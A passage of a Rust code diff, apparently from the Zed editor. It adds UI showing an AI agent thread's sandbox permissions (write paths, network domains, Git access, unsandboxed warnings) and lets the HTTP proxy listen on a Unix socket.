+        .child(Label::new("Sandboxing settings"))
+        .child(Divider::horizontal());
+
+    match state {
+        SandboxTooltipState::DisabledInSettings => {
+            body = body.child(
+                Label::new("Sandboxing is disabled in settings")
+                    .size(LabelSize::Small)
+                    .color(Color::Muted),
+            );
+        }
+        SandboxTooltipState::DisabledForThread { settings } => {
+            // The settings policy is moot while disabled, so show it greyed out
+            // for context above the active "disabled for this thread" status.
+            let settings_section =
+                render_sandbox_policy_section("From your settings", settings, true, cx);
+            body = body
+                .children(
+                    settings_section
+                        .map(|section| div().opacity(0.5).child(section).into_any_element()),
+                )
+                .child(Divider::horizontal())
+                .child(Label::new("Sandboxing is disabled for this thread").size(LabelSize::Small));
+        }
+        SandboxTooltipState::Enabled { settings, thread } => {
+            let settings_section =
+                render_sandbox_policy_section("From your settings", settings, true, cx);
+            let thread_section =
+                render_sandbox_policy_section("Allowed in this thread", thread, false, cx);
+            body = body.children(settings_section);
+            if let Some(section) = thread_section {
+                body = body.child(Divider::horizontal()).child(section);
+            }
+        }
+    }
+
+    body.into_any_element()
+}
+
+/// Render one section of the sandbox status tooltip.
+///
+/// When `show_empty` is true the section is always rendered, and groups that
+/// grant nothing show "None". When false, empty groups are omitted and the
+/// whole section is dropped (`None`) if it grants nothing at all.
+/// Fold the always-granted baseline writable paths (the project's worktree
+/// roots, derived from the same source the terminal tool uses) and, on Linux,
+/// the host-isolated `/tmp` overlay into a settings policy for display. These
+/// are part of what the sandbox grants whenever it's active but aren't
+/// persistent-settings entries, so they're shown in the "from your settings"
+/// section rather than stored. A no-op when the fs is unrestricted (rendered as
+/// "All paths"), since there's nothing to scope.
+fn augment_settings_sandbox_policy(
+    mut policy: SandboxPolicy,
+    baseline: Vec<PathBuf>,
+) -> SandboxPolicy {
+    if let SandboxFsPolicy::Restricted { writable_paths } = &mut policy.fs {
+        let mut merged = baseline;
+        for path in writable_paths.drain(..) {
+            if !merged.contains(&path) {
+                merged.push(path);
+            }
+        }
+        // The ephemeral, host-isolated tmpfs at /tmp is Linux-specific (the
+        // bwrap `--tmpfs /tmp` overlay). It's a display-only label, not a real
+        // host path, so it can't come from the path source above.
+        #[cfg(target_os = "linux")]
+        merged.push(PathBuf::from("/tmp (isolated)"));
+        *writable_paths = merged;
+    }
+    policy
+}
+
+fn render_sandbox_policy_section(
+    title: &str,
+    policy: &SandboxPolicy,
+    show_empty: bool,
+    cx: &App,
+) -> Option<AnyElement> {
+    let write_rows = sandbox_fs_rows(&policy.fs, cx);
+    let network_rows = sandbox_network_rows(&policy.network, cx);
+    let write_empty = fs_grants_nothing(&policy.fs);
+    let network_empty = network_grants_nothing(&policy.network);
+    // Git access is only ever surfaced when *granted* (the `.git` dirs become
+    // writable), so it never shows a "None" row — unlike write/network, it's
+    // omitted entirely when denied, regardless of `show_empty`.
+    let git_empty = git_grants_nothing(&policy.git);
+
+    if !show_empty && write_empty && network_empty && git_empty {
+        return None;
+    }
+
+    let write_group =
+        (show_empty || !write_empty).then(|| sandbox_status_group("Write access", write_rows));
+    let network_group = (show_empty || !network_empty)
+        .then(|| sandbox_status_group("Network access", network_rows));
+    let git_group = (!git_empty)
+        .then(|| sandbox_status_group("Git metadata access", sandbox_git_rows(&policy.git, cx)));
+
+    Some(
+        v_flex()
+            .gap_1()
+            .child(Label::new(title.to_string()))
+            .children(write_group)
+            .children(network_group)
+            .children(git_group)
+            .into_any_element(),
+    )
+}
+
+/// Git access grants nothing to surface unless `.git` writes are allowed *and*
+/// at least one `.git` directory is known.
+fn git_grants_nothing(git: &GitSandboxPolicy) -> bool {
+    !git.allows_writes() || git.git_dirs().is_empty()
+}
+
+/// Rows for the Git-access group: one row per writable `.git` directory (these
+/// may live outside the project for a linked worktree).
+fn sandbox_git_rows(git: &GitSandboxPolicy, cx: &App) -> Vec<AnyElement> {
+    match git {
+        GitSandboxPolicy::Allowed { git_dirs } if !git_dirs.is_empty() => git_dirs
+            .iter()
+            .map(|path| sandbox_git_path_row(path, cx))
+            .collect(),
+        _ => Vec::new(),
+    }
+}
+
+/// A `.git` directory row, tagged with a Git icon to distinguish it from plain
+/// writable paths.
+fn sandbox_git_path_row(path: &Path, cx: &App) -> AnyElement {
+    h_flex()
+        .min_w_0()
+        .gap_1()
+        .child(
+            Icon::new(IconName::GitBranch)
+                .color(Color::Muted)
+                .size(IconSize::Small),
+        )
+        .child(
+            Label::new(path.display().to_string())
+                .size(LabelSize::XSmall)
+                .buffer_font(cx),
+        )
+        .into_any_element()
+}
+
+fn fs_grants_nothing(fs: &SandboxFsPolicy) -> bool {
+    matches!(fs, SandboxFsPolicy::Restricted { writable_paths } if writable_paths.is_empty())
+}
+
+fn network_grants_nothing(network: &SandboxNetPolicy) -> bool {
+    match network {
+        SandboxNetPolicy::Blocked => true,
+        SandboxNetPolicy::Restricted { allowed_domains } => allowed_domains.is_empty(),
+        SandboxNetPolicy::Unrestricted => false,
+    }
+}
+
+/// Rows for the write-access group: a message for the "all"/"none" cases, or one
+/// row per granted path.
+fn sandbox_fs_rows(fs: &SandboxFsPolicy, cx: &App) -> Vec<AnyElement> {
+    match fs {
+        SandboxFsPolicy::Unrestricted => vec![sandbox_message_row("All paths (unrestricted)")],
+        SandboxFsPolicy::Restricted { writable_paths } if writable_paths.is_empty() => {
+            vec![sandbox_message_row("None")]
+        }
+        SandboxFsPolicy::Restricted { writable_paths } => writable_paths
+            .iter()
+            .map(|path| sandbox_path_row(path, cx))
+            .collect(),
+    }
+}
+
+/// Rows for the network-access group: a message for the "all"/"none" cases, or
+/// one row per allowed domain.
+fn sandbox_network_rows(network: &SandboxNetPolicy, cx: &App) -> Vec<AnyElement> {
+    match network {
+        SandboxNetPolicy::Unrestricted => vec![sandbox_message_row("All domains (unrestricted)")],
+        SandboxNetPolicy::Blocked => vec![sandbox_message_row("None")],
+        SandboxNetPolicy::Restricted { allowed_domains } if allowed_domains.is_empty() => {
+            vec![sandbox_message_row("None")]
+        }
+        SandboxNetPolicy::Restricted { allowed_domains } => allowed_domains
+            .iter()
+            .map(|domain| sandbox_domain_row(domain, cx))
+            .collect(),
+    }
+}
+
+/// A "Write access" / "Network access" group: a muted header, then the indented
+/// rows.
+fn sandbox_status_group(heading: &str, rows: Vec<AnyElement>) -> impl IntoElement {
+    v_flex()
+        .gap_0p5()
+        .child(
+            Label::new(heading.to_string())
+                .size(LabelSize::Small)
+                .color(Color::Muted),
+        )
+        .child(v_flex().pl_3().gap_0p5().children(rows))
+}
+
+/// A non-path row (e.g. "All paths (unrestricted)", "None") in a status group.
+fn sandbox_message_row(message: &str) -> AnyElement {
+    Label::new(message.to_string())
+        .size(LabelSize::XSmall)
+        .color(Color::Muted)
+        .into_any_element()
+}
+
+fn sandbox_path_row(path: &Path, cx: &App) -> AnyElement {
+    let display_path = path.display().to_string();
+    let icon = FileIcons::get_icon(path, cx)
+        .map(Icon::from_path)
+        .map(|icon| icon.color(Color::Muted).size(IconSize::Small))
+        .unwrap_or_else(|| {
+            Icon::new(IconName::Folder)
+                .color(Color::Muted)
+                .size(IconSize::Small)
+        });
+    h_flex()
+        .min_w_0()
+        .gap_1()
+        .child(icon)
+        .child(
+            Label::new(display_path)
+                .size(LabelSize::XSmall)
+                .buffer_font(cx),
+        )
+        .into_any_element()
+}
+
+fn sandbox_domain_row(domain: &str, cx: &App) -> AnyElement {
+    h_flex()
+        .min_w_0()
+        .gap_1()
+        .child(
+            Icon::new(IconName::Public)
+                .color(Color::Muted)
+                .size(IconSize::Small),
+        )
+        .child(
+            Label::new(domain.to_string())
+                .size(LabelSize::XSmall)
+                .buffer_font(cx),
+        )
+        .into_any_element()
+}
+
 impl ThreadView {
     fn render_entries(&mut self, cx: &mut Context<Self>) -> List {
         let max_content_width = AgentSettings::get_global(cx).max_content_width;
@@ -6930,6 +7283,12 @@ impl ThreadView {
         style.container_style.text.font_size = Some(rems_from_px(12.).into());
         style.container_style.text.line_height = Some(rems_from_px(17.).into());
         style.height_is_multiple_of_line_height = true;
+        // Soft-wrap the command instead of horizontally scrolling it: the card is
+        // narrow, and in scroll mode a long command wraps anyway but its wrapped
+        // lines don't pick up the code block's left padding. Wrap mode lays the
+        // text out as a normal block inside the padded content box, so every
+        // line (wrapped or not) is padded consistently.
+        style.code_block_overflow_x_scroll = false;
 
         let header_bg = self.tool_card_header_bg(cx);
         let run_command_label = if is_preview {
@@ -6954,7 +7313,8 @@ impl ThreadView {
                 wrap_button_visibility: markdown::WrapButtonVisibility::Hidden,
                 border: false,
             });
-        let copy_button = CopyButton::new("copy-command", command_text)
+        let copy_button_id = SharedString::from(format!("{group}-copy-command"));
+        let copy_button = CopyButton::new(copy_button_id, command_text)
             .tooltip_label("Copy Command")
             .visible_on_hover(group.clone());
 
@@ -7366,10 +7726,22 @@ impl ThreadView {
         layout: ToolCallLayout,
         window: &Window,
         cx: &Context<Self>,
-    ) -> Div {
+    ) -> Stateful<Div> {
         let has_terminals = tool_call.terminals().next().is_some();
 
-        div().w_full().map(|this| {
+        // Give every tool-call subtree a unique element-id prefix derived from
+        // the globally-unique tool call id and the layout. This single wrapper
+        // is what keeps all the `entry_ix`-keyed element ids inside the card
+        // collision-free, even when the same tool call is rendered in multiple
+        // places at once (inline list + floating awaiting-permission row) or
+        // when subagent entries are inlined into the parent view's element tree.
+        let container_id = ElementId::Name(SharedString::from(format!(
+            "tool-call-{}-{}",
+            tool_call.id.0,
+            layout.id_str()
+        )));
+
+        div().w_full().id(container_id).map(|this| {
             if tool_call.is_subagent() {
                 this.child(
                     self.render_subagent_tool_call(
@@ -7423,7 +7795,7 @@ impl ThreadView {
         cx: &Context<Self>,
     ) -> Div {
         let has_location = tool_call.locations.len() == 1;
-        let card_header_id = SharedString::from("inner-tool-call-header");
+        let card_header_id = SharedString::from(format!("inner-tool-call-header-{entry_ix}"));
 
         let failed_or_canceled = match &tool_call.status {
             ToolCallStatus::Rejected | ToolCallStatus::Canceled | ToolCallStatus::Failed => true,
@@ -7928,15 +8300,11 @@ impl ThreadView {
         cx: &Context<Self>,
     ) -> AnyElement {
         let has_network = details.network_all_hosts || !details.network_hosts.is_empty();
-        let has_git_access = details.allow_git_access;
-        let command = details
-            .command
-            .as_deref()
-            .filter(|command| !command.is_empty());
-        if details.write_paths.is_empty()
-            && !has_network
-            && !has_git_access
-            && command.is_none()
+        let has_write = details.allow_fs_write_all || !details.write_paths.is_empty();
+        if !has_network
+            && !has_write
+            && !details.allow_git_access
+            && !details.unsandboxed
             && details.reason.is_empty()
         {
             return Empty.into_any_element();
@@ -7967,7 +8335,10 @@ impl ThreadView {
                 .child(
                     h_flex()
                         .id(("sandbox-network-details-header", entry_ix))
-                        .p_1()
+                        // Align text with the allow/deny button icons below,
+                        // which sit at p_1 (container) + Base04 (button) ≈ px_2.
+                        .px_2()
+                        .py_1()
                         .justify_between()
                         .when(has_host_list, |this| {
                             this.cursor_pointer()
@@ -8025,17 +8396,12 @@ impl ThreadView {
                             .children(hosts.iter().enumerate().map(|(host_ix, host)| {
                                 h_flex()
                                     .min_w_0()
-                                    .p_1p5()
-                                    .gap_2()
+                                    .px_2()
+                                    .py_1p5()
                                     .bg(cx.theme().colors().editor_background)
                                     .when(host_ix < hosts.len() - 1, |this| {
                                         this.border_b_1().border_color(cx.theme().colors().border)
                                     })
-                                    .child(
-                                        Icon::new(IconName::Public)
-                                            .color(Color::Muted)
-                                            .size(IconSize::Small),
-                                    )
                                     .child(
                                         Label::new(host.clone())
                                             .size(LabelSize::XSmall)
@@ -8046,121 +8412,54 @@ impl ThreadView {
                 })
         });
 
-        let git_access_section = has_git_access.then(|| {
-            v_flex()
-                .p_1()
-                .gap_0p5()
-                .child(
-                    h_flex()
-                        .gap_1()
-                        .child(
-                            Icon::new(IconName::GitBranch)
-                                .color(Color::Muted)
-                                .size(IconSize::Small),
-                        )
-                        .child(
-                            Label::new("Git metadata access")
-                                .size(LabelSize::Small)
-                                .color(Color::Muted),
-                        ),
-                )
-                .child(
-                    Label::new(
-                        "Allows reading and writing .git directories, which may include repositories outside this project, and exposes the inherited SSH agent for commit signing.",
-                    )
-                    .size(LabelSize::XSmall)
-                    .color(Color::Muted),
+        let write_section = has_write.then(|| {
+            let summary = if details.allow_fs_write_all {
+                "unrestricted".to_string()
+            } else {
+                format!(
+                    "{} {}",
+                    details.write_paths.len(),
+                    if details.write_paths.len() == 1 {
+                        "path"
+                    } else {
+                        "paths"
+                    }
                 )
-                .into_any_element()
-        });
-
-        if details.write_paths.is_empty() {
-            return v_flex()
-                .border_t_1()
-                .border_color(self.tool_card_border_color(cx))
-                .when_some(command, |this, command| {
-                    this.child(Self::render_sandbox_authorization_command(
-                        entry_ix, command, cx,
-                    ))
-                })
-                .children(network_section)
-                .children(git_access_section)
-                .into_any_element();
-        }
-
-        let is_open = !self
-            .collapsed_sandbox_authorization_details
-            .contains(tool_call_id);
-        let mut paths = details.write_paths.clone();
-        paths.sort();
-
-        v_flex()
-            .border_t_1()
-            .border_color(self.tool_card_border_color(cx))
-            .when_some(command, |this, command| {
-                this.child(Self::render_sandbox_authorization_command(
-                    entry_ix, command, cx,
-                ))
-            })
-            .children(network_section)
-            .children(git_access_section)
-            .child(
-                h_flex()
-                    .id(("sandbox-authorization-details-header", entry_ix))
-                    .p_1()
-                    .justify_between()
-                    .cursor_pointer()
-                    .hover(|style| style.bg(cx.theme().colors().element_hover))
-                    .child(
-                        h_flex().gap_1().child(
-                            Label::new("Write access")
-                                .size(LabelSize::Small)
-                                .color(Color::Muted),
-                        ),
-                    )
-                    .child(
-                        Disclosure::new(("sandbox-authorization-details", entry_ix), is_open)
-                            .opened_icon(IconName::ChevronUp)
-                            .closed_icon(IconName::ChevronDown),
-                    )
-                    .on_click(cx.listener({
-                        let tool_call_id = tool_call_id.clone();
-                        move |this, _event, _window, cx| {
-                            if this
-                                .collapsed_sandbox_authorization_details
-                                .remove(&tool_call_id)
-                            {
-                                cx.notify();
-                                return;
-                            }
+            };
+            let has_path_list = !details.allow_fs_write_all && !details.write_paths.is_empty();
+            let is_open = !self
+                .collapsed_sandbox_authorization_details
+                .contains(tool_call_id);
+            let mut paths = details.write_paths.clone();
+            paths.sort();
 
-                            this.collapsed_sandbox_authorization_details
-                                .insert(tool_call_id.clone());
-                            cx.notify();
-                        }
-                    })),
-            )
-            .when(is_open && !paths.is_empty(), |this| {
-                this.child(
-                    v_flex()
-                        .gap_0p5()
-                        .child(
-                            Label::new("Reason from agent")
-                                .size(LabelSize::XSmall)
-                                .color(Color::Muted)
-                                .buffer_font(cx),
-                        )
-                        .child(Label::new(details.reason.clone()).size(LabelSize::Small)),
-                )
-            })
-            .when(!paths.is_empty(), |this| {
-                this.child(
+            v_flex()
+                .child(
                     h_flex()
                         .id(("sandbox-authorization-details-header", entry_ix))
-                        .p_1()
+                        .px_2()
+                        .py_1()
                         .justify_between()
-                        .cursor_pointer()
-                        .hover(|style| style.bg(cx.theme().colors().element_hover))
+                        .when(has_path_list, |this| {
+                            this.cursor_pointer()
+                                .hover(|style| style.bg(cx.theme().colors().element_hover))
+                                .on_click(cx.listener({
+                                    let tool_call_id = tool_call_id.clone();
+                                    move |this, _event, _window, cx| {
+                                        if this
+                                            .collapsed_sandbox_authorization_details
+                                            .remove(&tool_call_id)
+                                        {
+                                            cx.notify();
+                                            return;
+                                        }
+
+                                        this.collapsed_sandbox_authorization_details
+                                            .insert(tool_call_id.clone());
+                                        cx.notify();
+                                    }
+                                }))
+                        })
                         .child(
                             h_flex()
                                 .gap_1()
@@ -8175,38 +8474,23 @@ impl ThreadView {
                                         .color(Color::Disabled),
                                 )
                                 .child(
-                                    Label::new(format!(
-                                        "{} {}",
-                                        paths.len(),
-                                        if paths.len() == 1 { "path" } else { "paths" }
-                                    ))
-                                    .size(LabelSize::Small)
-                                    .color(Color::Muted),
+                                    Label::new(summary)
+                                        .size(LabelSize::Small)
+                                        .color(Color::Muted),
                                 ),
                         )
-                        .child(
-                            Disclosure::new(("sandbox-authorization-details", entry_ix), is_open)
+                        .when(has_path_list, |this| {
+                            this.child(
+                                Disclosure::new(
+                                    ("sandbox-authorization-details", entry_ix),
+                                    is_open,
+                                )
                                 .opened_icon(IconName::ChevronUp)
                                 .closed_icon(IconName::ChevronDown),
-                        )
-                        .on_click(cx.listener({
-                            let tool_call_id = tool_call_id.clone();
-                            move |this, _event, _window, cx| {
-                                if this
-                                    .collapsed_sandbox_authorization_details
-                                    .remove(&tool_call_id)
-                                {
-                                    cx.notify();
-                                    return;
-                                }
-
-                                this.collapsed_sandbox_authorization_details
-                                    .insert(tool_call_id.clone());
-                                cx.notify();
-                            }
-                        })),
+                            )
+                        }),
                 )
-                .when(is_open, |this| {
+                .when(has_path_list && is_open, |this| {
                     this.child(
                         v_flex()
                             .id(("sandbox-authorization-paths-list", entry_ix))
@@ -8223,7 +8507,66 @@ impl ThreadView {
                             })),
                     )
                 })
-            })
+        });
+
+        let unsandboxed_section = details.unsandboxed.then(|| {
+            h_flex()
+                .px_2()
+                .py_1()
+                .gap_1p5()
+                .child(
+                    Icon::new(IconName::Warning)
+                        .color(Color::Warning)
+                        .size(IconSize::Small),
+                )
+                .child(
+                    Label::new("Runs without the OS sandbox")
+                        .size(LabelSize::Small)
+                        .color(Color::Muted),
+                )
+        });
+
+        let git_access_section = details.allow_git_access.then(|| {
+            v_flex().px_2().py_1().gap_0p5().child(
+                h_flex()
+                    .gap_1()
+                    .child(
+                        Icon::new(IconName::GitBranch)
+                            .color(Color::Muted)
+                            .size(IconSize::Small),
+                    )
+                    .child(
+                        Label::new("Git metadata access")
+                            .size(LabelSize::Small)
+                            .color(Color::Muted),
+                    ),
+            )
+        });
+
+        let reason_section = (!details.reason.is_empty()).then(|| {
+            v_flex()
+                .px_2()
+                .py_1()
+                .gap_0p5()
+                .child(
+                    Label::new("Reason from agent")
+                        .size(LabelSize::XSmall)
+                        .color(Color::Muted)
+                        .buffer_font(cx),
+                )
+                .child(Label::new(details.reason.clone()).size(LabelSize::Small))
+        });
+
+        // The command stays in the tool-call title above; here we show what the
+        // command is asking for (paths / domains) and the agent's reason.
+        v_flex()
+            .border_t_1()
+            .border_color(self.tool_card_border_color(cx))
+            .children(network_section)
+            .children(write_section)
+            .children(git_access_section)
+            .children(unsandboxed_section)
+            .children(reason_section)
             .into_any_element()
     }
 
@@ -8264,49 +8607,6 @@ impl ThreadView {
             .into_any_element()
     }
 
-    fn render_sandbox_authorization_command(entry_ix: usize, command: &str, cx: &App) -> Div {
-        let group = SharedString::from(format!("sandbox-authorization-command-{entry_ix}"));
-        let command = SharedString::from(command.to_string());
-
-        v_flex()
-            .group(group.clone())
-            .relative()
-            .p_1p5()
-            .gap_1()
-            .bg(cx.theme().colors().editor_background)
-            .child(
-                Label::new("Command")
-                    .size(LabelSize::XSmall)
-                    .color(Color::Muted),
-            )
-            .child(
-                div()
-                    .id(("sandbox-authorization-command-scroll", entry_ix))
-                    .flex()
-                    .flex_1()
-                    .w_full()
-                    .min_w_0()
-                    .overflow_x_scroll()
-                    .whitespace_nowrap()
-                    .rounded_sm()
-                    .border_1()
-                    .border_color(cx.theme().colors().border)
-                    .p_1()
-                    .child(
-                        Label::new(command.clone())
-                            .buffer_font(cx)
-                            .size(LabelSize::XSmall),
-                    ),
-            )
-            .child(
-                div().absolute().top_1().right_1().child(
-                    CopyButton::new("copy-sandbox-authorization-command", command)
-                        .tooltip_label("Copy Command")
-                        .visible_on_hover(group),
-                ),
-            )
-    }
-
     fn render_sandbox_authorization_path_row(
         &self,
         entry_ix: usize,
@@ -8324,22 +8624,14 @@ impl ThreadView {
             let parent = parent.display().to_string();
             (!parent.is_empty()).then_some(parent)
         });
-        let path_icon = FileIcons::get_icon(path, cx)
-            .map(Icon::from_path)
-            .map(|icon| icon.color(Color::Muted).size(IconSize::Small))
-            .unwrap_or_else(|| {
-                Icon::new(IconName::Folder)
-                    .color(Color::Muted)
-                    .size(IconSize::Small)
-            });
 
         h_flex()
             .id(SharedString::from(format!(
                 "sandbox-authorization-path-{entry_ix}-{path_ix}"
             )))
             .min_w_0()
-            .p_1p5()
-            .gap_2()
+            .px_2()
+            .py_1p5()
             .bg(cx.theme().colors().editor_background)
             .when(show_border, |this| {
                 this.border_b_1().border_color(cx.theme().colors().border)
@@ -8351,7 +8643,6 @@ impl ThreadView {
                     )))
                     .min_w_0()
                     .gap_0p5()
-                    .child(path_icon)
                     .child(
                         Label::new(file_name)
                             .size(LabelSize::XSmall)
@@ -9919,7 +10210,13 @@ impl ThreadView {
                 div()
                     .pb_1()
                     .min_h_0()
-                    .id(format!("subagent-entries-{}", session_id))
+                    // Include the tool call id so the same subagent session
+                    // rendered in multiple parent cards gets distinct element
+                    // ids for its inlined entries (avoids duplicate a11y ids).
+                    .id(format!(
+                        "subagent-entries-{}-{}",
+                        session_id, tool_call.id.0
+                    ))
                     .track_scroll(&scroll_handle)
                     .children(rendered_entries),
             )
diff --git a/crates/agent_ui/src/thread_metadata_store.rs b/crates/agent_ui/src/thread_metadata_store.rs
index 1959b25c0e878a..1f0b0eb46d3270 100644
--- a/crates/agent_ui/src/thread_metadata_store.rs
+++ b/crates/agent_ui/src/thread_metadata_store.rs
@@ -1852,6 +1852,7 @@ mod tests {
             draft_prompt: None,
             ui_scroll_position: None,
             sandboxed_terminal_temp_dir: None,
+            sandbox_grants: Default::default(),
         }
     }
 
diff --git a/crates/http_proxy/Cargo.toml b/crates/http_proxy/Cargo.toml
index efce7a8e5c2650..239cd9657d8268 100644
--- a/crates/http_proxy/Cargo.toml
+++ b/crates/http_proxy/Cargo.toml
@@ -11,6 +11,15 @@ workspace = true
 [lib]
 path = "src/http_proxy.rs"
 
+[features]
+# Compiles in the `ZED_SANDBOX_PROXY_ALLOW_LOCAL_IPS` escape hatch that lets the
+# proxy reach loopback/private/link-local addresses. This disables the proxy's
+# DNS-rebinding/SSRF protection, so it must NEVER be enabled in a real Zed
+# build (debug or release) — it exists solely for the NixOS sandbox integration
+# tests, whose echo servers live on the VM's private network. Enabled only via
+# `sandbox/nixos-test` when building `bwrap_test_helper`.
+nixos-integration-tests = []
+
 [dependencies]
 anyhow.workspace = true
 base64.workspace = true
diff --git a/crates/http_proxy/src/proxy.rs b/crates/http_proxy/src/proxy.rs
index bb51bf995a4501..62050359b61f3f 100644
--- a/crates/http_proxy/src/proxy.rs
+++ b/crates/http_proxy/src/proxy.rs
@@ -17,7 +17,12 @@ use crate::allowlist::Allowlist;
 use anyhow::{Context, Result};
 use futures::channel::mpsc;
 use std::net::{Ipv4Addr, TcpListener, TcpStream};
+#[cfg(unix)]
+use std::os::unix::net::{UnixListener, UnixStream};
+use std::path::{Path, PathBuf};
 use std::sync::Arc;
+#[cfg(unix)]
+use std::sync::atomic::AtomicU64;
 use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
 use std::thread;
 
@@ -140,6 +145,8 @@ pub enum ProxyEvent {
 /// connection threads finish on their own as soon as either side closes.
 pub struct ProxyHandle {
     port: u16,
+    socket_path: Option<PathBuf>,
+    cleanup_directory: Option<PathBuf>,
     /// Listener thread sees this flip to `true` after `accept` returns and
     /// then exits.
     shutdown: Arc<AtomicBool>,
@@ -187,15 +194,90 @@ impl ProxyHandle {
 
         Ok(ProxyHandle {
             port,
+            socket_path: None,
+            cleanup_directory: None,
             shutdown,
             listener_thread: Some(listener_thread),
         })
     }
 
-    /// The bound port. Stable for the lifetime of this handle.
+    /// Spawns the proxy on a fresh pathname Unix socket under the system temp
+    /// directory and reserves a loopback port number for the in-sandbox bridge.
+    #[cfg(unix)]
+    pub fn spawn_unix_temp(config: ProxyConfig) -> Result<ProxyHandle> {
+        let directory = unique_temp_socket_directory();
+        let path = directory.join("proxy.sock");
+        Self::spawn_unix_with_cleanup(path, Some(directory), config)
+    }
+
+    /// Spawns the proxy on a pathname Unix socket and reserves a loopback port
+    /// number for the in-sandbox bridge to listen on.
+    #[cfg(unix)]
+    pub fn spawn_unix(path: impl AsRef<Path>, config: ProxyConfig) -> Result<ProxyHandle> {
+        Self::spawn_unix_with_cleanup(path.as_ref().to_path_buf(), None, config)
+    }
+
+    #[cfg(unix)]
+    fn spawn_unix_with_cleanup(
+        path: PathBuf,
+        cleanup_directory: Option<PathBuf>,
+        config: ProxyConfig,
+    ) -> Result<ProxyHandle> {
+        if let Some(parent) = path.parent() {
+            std::fs::create_dir_all(parent).with_context(|| {
+                format!(
+                    "failed to create proxy socket directory {}",
+                    parent.display()
+                )
+            })?;
+        }
+        if path.exists() {
+            std::fs::remove_file(&path).with_context(|| {
+                format!("failed to remove stale proxy socket {}", path.display())
+            })?;
+        }
+
+        let listener = UnixListener::bind(&path)
+            .with_context(|| format!("failed to bind proxy Unix socket {}", path.display()))?;
+        let port = reserve_loopback_port()?;
+
+        let _ = config.events.unbounded_send(ProxyEvent::Ready { port });
+
+        let shutdown = Arc::new(AtomicBool::new(false));
+        let runtime_state = Arc::new(RuntimeState {
+            allowlist: config.allowlist,
+            upstream: config.upstream,
+            events: config.events,
+            active_connections: AtomicUsize::new(0),
+        });
+
+        let listener_thread = thread::Builder::new()
+            .name("http-proxy-unix-listener".to_string())
+            .stack_size(128 * 1024)
+            .spawn({
+                let shutdown = shutdown.clone();
+                move || run_unix_listener(listener, runtime_state, shutdown)
+            })
+            .context("failed to spawn proxy Unix listener thread")?;
+
+        Ok(ProxyHandle {
+            port,
+            socket_path: Some(path),
+            cleanup_directory,
+            shutdown,
+            listener_thread: Some(listener_thread),
+        })
+    }
+
+    /// The loopback TCP port clients should use for proxy environment variables.
     pub fn port(&self) -> u16 {
         self.port
     }
+
+    /// Path of the Unix socket listener, for Linux bridge mode.
+    pub fn socket_path(&self) -> Option<&Path> {
+        self.socket_path.as_deref()
+    }
 }
 
 impl Drop for ProxyHandle {
@@ -207,7 +289,14 @@ impl Drop for ProxyHandle {
         // listener wakes up, accepts the connection, sees the shutdown
         // flag, breaks the loop. The accepted connection's worker thread
         // will read the empty stream and exit too.
-        let _ = TcpStream::connect((Ipv4Addr::LOCALHOST, self.port));
+        if let Some(path) = &self.socket_path {
+            #[cfg(unix)]
+            let _ = UnixStream::connect(path);
+            #[cfg(not(unix))]
+            let _ = path;
+        } else {
+            let _ = TcpStream::connect((Ipv4Addr::LOCALHOST, self.port));
+        }
 
         if let Some(thread) = self.listener_thread.take() {
             // Give the listener a chance to clean up. A join error means the
@@ -217,9 +306,41 @@ impl Drop for ProxyHandle {
                 log::warn!("[http_proxy] listener thread panicked");
             }
         }
+        if let Some(path) = &self.socket_path
+            && let Err(error) = std::fs::remove_file(path)
+            && error.kind() != std::io::ErrorKind::NotFound
+        {
+            log::debug!(
+                "[http_proxy] failed to remove proxy Unix socket {}: {error}",
+                path.display()
+            );
+        }
+        if let Some(directory) = &self.cleanup_directory
+            && let Err(error) = std::fs::remove_dir(directory)
+            && error.kind() != std::io::ErrorKind::NotFound
+        {
+            log::debug!(
+                "[http_proxy] failed to remove proxy socket directory {}: {error}",
+                directory.display()
+            );
+        }
     }
 }
 
+#[cfg(unix)]
+fn unique_temp_socket_directory() -> PathBuf {
+    static COUNTER: AtomicU64 = AtomicU64::new(0);
+    let counter = COUNTER.fetch_add(1, Ordering::Relaxed);
+    let nanos = std::time::SystemTime::now()
+        .duration_since(std::time::UNIX_EPOCH)
+        .map(|duration| duration.as_nanos())
+        .unwrap_or(0);
+    std::env::temp_dir().join(format!(
+        "zed-proxy-{}-{nanos}-{counter}",
+        std::process::id()
+    ))
+}
+
 /// State shared across all connection threads for a single proxy instance.
 pub(crate) struct RuntimeState {
     pub(crate) allowlist: Allowlist,
@@ -238,6 +359,16 @@ impl Drop for ConnectionSlot {
     }
 }
 
+#[cfg(unix)]
+fn reserve_loopback_port() -> Result<u16> {
+    let listener = TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
+        .context("failed to reserve proxy bridge port")?;
+    Ok(listener
+        .local_addr()
+        .context("failed to read reserved proxy bridge port")?
+        .port())
+}
+
 fn run_listener(listener: TcpListener, state: Arc<RuntimeState>, shutdown: Arc<AtomicBool>) {
     for stream in listener.incoming() {
         if shutdown.load(Ordering::SeqCst) {
@@ -245,34 +376,7 @@ fn run_listener(listener: TcpListener, state: Arc<RuntimeState>, shutdown: Arc<A
             break;
         }
         match stream {
-            Ok(stream) => {
-                let previous = state.active_connections.fetch_add(1, Ordering::SeqCst);
-                if previous >= MAX_CONCURRENT_CONNECTIONS {
-                    state.active_connections.fetch_sub(1, Ordering::SeqCst);
-                    log::warn!(
-                        "[http_proxy] dropping connection: {MAX_CONCURRENT_CONNECTIONS} \
-                         connections already active"
-                    );
-                    drop(stream);
-                    continue;
-                }
-                let slot = ConnectionSlot(state.clone());
-                let state = state.clone();
-                let result = thread::Builder::new()
-                    .name("http-proxy-conn".to_string())
-                    // Connection workers do bidir copy with a 64 KiB buffer
-                    // and a few syscall stack frames. 128 KiB is plenty.
-                    .stack_size(128 * 1024)
-                    .spawn(move || {
-                        let _slot = slot;
-                        if let Err(e) = connection::handle(stream, state) {
-                            log::debug!("[http_proxy] connection handler error: {e}");
-                        }
-                    });
-                if let Err(e) = result {
-                    log::warn!("[http_proxy] failed to spawn connection thread: {e}");
-                }
-            }
+            Ok(stream) => spawn_connection(connection::ClientStream::Tcp(stream), &state),
             Err(e) => {
                 // EMFILE / per-process fd exhaustion is the realistic
                 // failure here. Log and keep going — accept errors are
@@ -282,3 +386,44 @@ fn run_listener(listener: TcpListener, state: Arc<RuntimeState>, shutdown: Arc<A
         }
     }
 }
+
+#[cfg(unix)]
+fn run_unix_listener(listener: UnixListener, state: Arc<RuntimeState>, shutdown: Arc<AtomicBool>) {
+    for stream in listener.incoming() {
+        if shutdown.load(Ordering::SeqCst) {
